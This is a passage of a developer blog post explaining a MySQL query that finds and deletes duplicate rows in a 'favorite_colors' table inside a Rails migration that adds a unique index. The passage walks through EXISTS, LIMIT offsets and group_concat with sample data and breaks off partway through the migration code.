&lt;p&gt;My first thought was a rake task to find and prune duplicates, but this is a relatively active table, and if even a few seconds elapsed between the rake task and migration, we might get another duplicate on it, which would prevent the migration from running.&lt;/p&gt;

&lt;h1 id="the-solution"&gt;The Solution&lt;/h1&gt;

&lt;p&gt;The rake task was not a good solution. Fortunately, I work with many people who are much smarter than I, and they put me on the right track. I needed to update the migration to run a query that would:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Find all duplicate rows&lt;/li&gt;
  &lt;li&gt;Get the ID’s of those duplicate rows&lt;/li&gt;
  &lt;li&gt;Trim one of the row IDs of the “duplicates” list&lt;/li&gt;
  &lt;li&gt;Delete all the remaining IDs.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;So, the SQL query gets built up in three pieces.&lt;/p&gt;

&lt;p&gt;I’ll give you the full SQL query, then we’ll dig into the component pieces. The following query creates a list of IDs that we can then use ActiveRecord/Sequel to delete. (More on the migration in a minute):&lt;/p&gt;

&lt;div class="language-sql highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="k"&gt;substring&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dups&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;id_groups&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;position&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;','&lt;/span&gt;&lt;span class="k"&gt;IN&lt;/span&gt; &lt;span class="n"&gt;dups&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;id_groups&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="k"&gt;FROM&lt;/span&gt; 
    &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt;  &lt;span class="n"&gt;group_concat&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;AS&lt;/span&gt; &lt;span class="n"&gt;id_groups&lt;/span&gt;
    &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;favorite_colors&lt;/span&gt; &lt;span class="n"&gt;fc&lt;/span&gt;
    &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="k"&gt;EXISTS&lt;/span&gt;
      &lt;span class="p"&gt;(&lt;/span&gt; 
      &lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
      &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;favorite_colors&lt;/span&gt; &lt;span class="n"&gt;tmp&lt;/span&gt;
      &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;tmp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;person_id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;fc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;person_id&lt;/span&gt;
      &lt;span class="k"&gt;LIMIT&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
     &lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;GROUP&lt;/span&gt; &lt;span class="k"&gt;BY&lt;/span&gt; &lt;span class="n"&gt;fc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;person_id&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;AS&lt;/span&gt; &lt;span class="n"&gt;dups&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Lets unpack it. First, here’s a little SQL you could run locally to generate results to play with:&lt;/p&gt;

&lt;div class="language-sql highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;CREATE&lt;/span&gt; &lt;span class="k"&gt;TABLE&lt;/span&gt; &lt;span class="n"&gt;favorite_colors&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
  &lt;span class="n"&gt;ID&lt;/span&gt; &lt;span class="nb"&gt;INT&lt;/span&gt; &lt;span class="n"&gt;AUTO_INCREMENT&lt;/span&gt; &lt;span class="k"&gt;PRIMARY&lt;/span&gt; &lt;span class="k"&gt;KEY&lt;/span&gt; &lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="n"&gt;person_id&lt;/span&gt; &lt;span class="nb"&gt;INT&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="n"&gt;color&lt;/span&gt; &lt;span class="nb"&gt;VARCHAR&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;255&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;INSERT&lt;/span&gt; &lt;span class="k"&gt;INTO&lt;/span&gt; &lt;span class="nv"&gt;`favorite_colors`&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;`ID`&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;`person_id`&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;`color`&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;VALUES&lt;/span&gt;
	&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'yellow'&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
	&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'yellow'&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
	&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'blue'&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
	&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'blue'&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
	&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'green'&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
	&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'purple'&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
	&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'yellow'&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
	&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'black'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;OK, first, lets find the duplicate rows. There’s a lot of them in here. The following query comes from &lt;a href="https://stackoverflow.com/a/689294/3210178"&gt;StackOverflow&lt;/a&gt;, and served me well:&lt;/p&gt;

&lt;div class="language-sql highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt;  &lt;span class="o"&gt;*&lt;/span&gt; 
&lt;span class="k"&gt;FROM&lt;/span&gt;    &lt;span class="n"&gt;favorite_colors&lt;/span&gt; &lt;span class="n"&gt;fc&lt;/span&gt;
&lt;span class="k"&gt;WHERE&lt;/span&gt;   &lt;span class="k"&gt;EXISTS&lt;/span&gt;
        &lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="k"&gt;SELECT&lt;/span&gt;  &lt;span class="mi"&gt;1&lt;/span&gt;
        &lt;span class="k"&gt;FROM&lt;/span&gt;    &lt;span class="n"&gt;favorite_colors&lt;/span&gt; &lt;span class="n"&gt;tmp&lt;/span&gt;
        &lt;span class="k"&gt;WHERE&lt;/span&gt;   &lt;span class="n"&gt;tmp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;person_id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;fc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;person_id&lt;/span&gt;
        &lt;span class="k"&gt;LIMIT&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
        &lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;ORDER&lt;/span&gt; &lt;span class="k"&gt;BY&lt;/span&gt; &lt;span class="n"&gt;fc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;person_id&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;So, obviously, that &lt;code class="language-plaintext highlighter-rouge"&gt;WHERE EXISTS&lt;/code&gt; piece is interesting. But that depends on the &lt;code class="language-plaintext highlighter-rouge"&gt;SELECT 1... LIMIT 1, 1&lt;/code&gt;, which is unfamiliar to me.&lt;/p&gt;

&lt;h2 id="limit-count-offset"&gt;Limit &lt;em&gt;count&lt;/em&gt;, &lt;em&gt;offset&lt;/em&gt;&lt;/h2&gt;

&lt;div class="language-sql highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;favorite_colors&lt;/span&gt;
&lt;span class="k"&gt;LIMIT&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;This is the most basic version of the above statement. The &lt;code class="language-plaintext highlighter-rouge"&gt;SELECT&lt;/code&gt; piece just inserts a &lt;code class="language-plaintext highlighter-rouge"&gt;1&lt;/code&gt; in the table. It could easily be &lt;code class="language-plaintext highlighter-rouge"&gt;SELECT "FOOBAR"&lt;/code&gt;. The prior &lt;code class="language-plaintext highlighter-rouge"&gt;WHERE EXISTS&lt;/code&gt; is just looking for &lt;em&gt;a&lt;/em&gt; value from the statement.&lt;/p&gt;

&lt;p&gt;The &lt;code class="language-plaintext highlighter-rouge"&gt;LIMIT 1, 1&lt;/code&gt; is curious. It’s &lt;code class="language-plaintext highlighter-rouge"&gt;LIMIT &amp;lt;count&amp;gt; &amp;lt;offset&amp;gt;&lt;/code&gt;. So it’s limiting the count to one, and it’s offsetting it by 1. &lt;a href="https://www.postgresql.org/docs/8.2/static/queries-limit.html"&gt;PostgreSQL has the best docs on this function&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;This means it returns one row, offset from the first row by 1. So, if you ran the following query:&lt;/p&gt;

&lt;div class="language-sql highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt;  &lt;span class="o"&gt;*&lt;/span&gt;
&lt;span class="k"&gt;FROM&lt;/span&gt;    &lt;span class="n"&gt;favorite_colors&lt;/span&gt;
&lt;span class="k"&gt;LIMIT&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;You’d get four rows, &lt;em&gt;skipping&lt;/em&gt; the first two rows, and including the subsequent four.&lt;/p&gt;

&lt;p&gt;Here’s the results of:&lt;/p&gt;

&lt;div class="language-sql highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt;  &lt;span class="o"&gt;*&lt;/span&gt;
&lt;span class="k"&gt;FROM&lt;/span&gt;    &lt;span class="n"&gt;favorite_colors&lt;/span&gt;
&lt;span class="k"&gt;LIMIT&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;id&lt;/th&gt;
      &lt;th&gt;person_id&lt;/th&gt;
      &lt;th&gt;color&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;1&lt;/td&gt;
      &lt;td&gt;1&lt;/td&gt;
      &lt;td&gt;yellow&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;2&lt;/td&gt;
      &lt;td&gt;1&lt;/td&gt;
      &lt;td&gt;yellow&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;And if we run&lt;/p&gt;

&lt;div class="language-sql highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt;  &lt;span class="o"&gt;*&lt;/span&gt;
&lt;span class="k"&gt;FROM&lt;/span&gt;    &lt;span class="n"&gt;favorite_colors&lt;/span&gt;
&lt;span class="k"&gt;LIMIT&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;we get:&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;id&lt;/th&gt;
      &lt;th&gt;person_id&lt;/th&gt;
      &lt;th&gt;color&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;3&lt;/td&gt;
      &lt;td&gt;2&lt;/td&gt;
      &lt;td&gt;blue&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;4&lt;/td&gt;
      &lt;td&gt;2&lt;/td&gt;
      &lt;td&gt;blue&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;So, &lt;code class="language-plaintext highlighter-rouge"&gt;LIMIT 1, 1&lt;/code&gt; takes the results of the prior &lt;code class="language-plaintext highlighter-rouge"&gt;WHERE&lt;/code&gt; and basically “hides” the first match, and leaves only the second match. The temporary result would be empty when the &lt;code class="language-plaintext highlighter-rouge"&gt;EXISTS&lt;/code&gt; statement checked the subquery, and the row would be deemed “not a duplicate”.&lt;/p&gt;

&lt;h4 id="exists"&gt;&lt;code class="language-plaintext highlighter-rouge"&gt;EXISTS&lt;/code&gt;&lt;/h4&gt;

&lt;p&gt;In &lt;a href="https://dev.mysql.com/doc/refman/8.0/en/exists-and-not-exists-subqueries.html"&gt;the docs&lt;/a&gt;, we learn:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;If a subquery returns any rows at all, EXISTS subquery is TRUE, and NOT EXISTS subquery is FALSE. For example:&lt;/p&gt;

  &lt;div class="language-sql highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="n"&gt;column1&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;t1&lt;/span&gt; &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="k"&gt;EXISTS&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;t2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;  &lt;/div&gt;
&lt;/blockquote&gt;

&lt;p&gt;I still don’t fully grasp the nuance of the total SQL statement, but I feel like I’m approaching comprehension. Either way, I am pleased to know how to return the complete rows of duplicates from a table where there are duplicate values in a given column.&lt;/p&gt;

&lt;p&gt;OK, so we’ve got duplicates. How do we make them usable?&lt;/p&gt;

&lt;h3 id="get-ids-from-results"&gt;Get IDs from results&lt;/h3&gt;

&lt;p&gt;We don’t want to &lt;code class="language-plaintext highlighter-rouge"&gt;SELECT *&lt;/code&gt;, now, we want to &lt;code class="language-plaintext highlighter-rouge"&gt;SELECT group_concat(favorite_colors.id) AS id_groups&lt;/code&gt;.&lt;/p&gt;

&lt;div class="language-sql highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt;  &lt;span class="n"&gt;group_concat&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;AS&lt;/span&gt; &lt;span class="n"&gt;id_groups&lt;/span&gt;
&lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;favorite_colors&lt;/span&gt; &lt;span class="n"&gt;fc&lt;/span&gt;
&lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="k"&gt;EXISTS&lt;/span&gt;
  &lt;span class="p"&gt;(&lt;/span&gt; 
  &lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
  &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;favorite_colors&lt;/span&gt; &lt;span class="n"&gt;tmp&lt;/span&gt;
  &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;tmp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;person_id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;fc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;person_id&lt;/span&gt;
  &lt;span class="k"&gt;LIMIT&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
 &lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;GROUP&lt;/span&gt; &lt;span class="k"&gt;BY&lt;/span&gt; &lt;span class="n"&gt;fc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;person_id&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;returns:&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;id_groups&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;1,2&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;3,4,6&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;5,7&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;The &lt;code class="language-plaintext highlighter-rouge"&gt;GROUP BY table.column_with_duplicates&lt;/code&gt; is important to split the groups by unique value. Without the group by, you’d get one long string of joined IDs, which would be totally useless.&lt;/p&gt;

&lt;p&gt;Next, we want to trim off the first ID in each of these groups. So, here’s the full query:&lt;/p&gt;

&lt;div class="language-sql highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="k"&gt;substring&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dups&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;id_groups&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;position&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;','&lt;/span&gt;&lt;span class="k"&gt;IN&lt;/span&gt; &lt;span class="n"&gt;dups&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;id_groups&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="k"&gt;SELECT&lt;/span&gt;  &lt;span class="n"&gt;group_concat&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;AS&lt;/span&gt; &lt;span class="n"&gt;id_groups&lt;/span&gt;
    &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;favorite_colors&lt;/span&gt; &lt;span class="n"&gt;fc&lt;/span&gt;
    &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="k"&gt;EXISTS&lt;/span&gt;
      &lt;span class="p"&gt;(&lt;/span&gt; 
      &lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
      &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;favorite_colors&lt;/span&gt; &lt;span class="n"&gt;tmp&lt;/span&gt;
      &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;tmp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;person_id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;fc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;person_id&lt;/span&gt;
      &lt;span class="k"&gt;LIMIT&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
     &lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;GROUP&lt;/span&gt; &lt;span class="k"&gt;BY&lt;/span&gt; &lt;span class="n"&gt;fc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;person_id&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;AS&lt;/span&gt; &lt;span class="n"&gt;dups&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And this returns:&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;id_groups&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;2&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;4,6&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;7&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;And the results of this SQL statement can now be deleted from the database via ActiveRecord. Here’s our full migration:&lt;/p&gt;

&lt;div class="language-ruby highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;AddUniquenessConstraintToFavoriteColors&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="no"&gt;ActiveRecord&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;Migration&lt;/span&gt;
  &lt;span class="n"&gt;disable_ddl_transaction!&lt;/span&gt;
  
  &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;up&lt;/span&gt;
    &lt;span class="n"&gt;results&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;execute&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;-&lt;/span&gt;&lt;span class="no"&gt;SQL&lt;/span&gt;&lt;span class="sh"&gt;
    SELECT substring(dups.id_groups, position(','IN dups.id_groups) + 1)
      FROM 
        (SELECT  group_concat(fc.id) AS id_groups
        FROM favorite_colors fc
        WHERE EXISTS
          ( 
          SELECT 1
          FROM favorite_colors tmp
          WHERE tmp.person_id = fc.person_id
          LIMIT 1, 1
         )
        GROUP BY fc.person_id
    ) AS dups
&lt;/span&gt;&lt;span class="no"&gt;    SQL&lt;/span&gt;

    &lt;span class="n"&gt;results&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;each&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="n"&gt;id_array&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;
      &lt;span class="c1"&gt;# I know find_in_batches would normally be a better fit&lt;/span&gt;
      &lt;span class="no"&gt;FavoriteColors&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;where&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="ss"&gt;id: &lt;/span&gt;&lt;span class="n"&gt;id_array&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;delete_all&lt;/span&gt;
    &lt;span class="k"&gt;end&lt;/span&gt;
    &lt;span class="n"&gt;remove_index&lt;/span&gt; &lt;span class="ss"&gt;:favorite_colors&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;:person_id&lt;/span&gt;
    &lt;span class="n"&gt;add_index&lt;/span&gt; &lt;span class="ss"&gt;:favorite_colors&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;:person_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;unique: &lt;/span&gt;&lt;span class="kp"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;algorithm: :inplace&lt;/span&gt;
  &lt;span class="k"&gt;end&lt;/span&gt;
  &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;down&lt;/span&gt;
    &lt;span class="n"&gt;remove_index&lt;/span&gt; &lt;span class="ss"&gt;:favorite_colors&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;:person_id&lt;/span&gt;
    &lt;span class="n"&gt;add_index&lt;/span&gt; &lt;span class="ss"&gt;:favorite_colors&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;:person_id&lt;/span&gt;
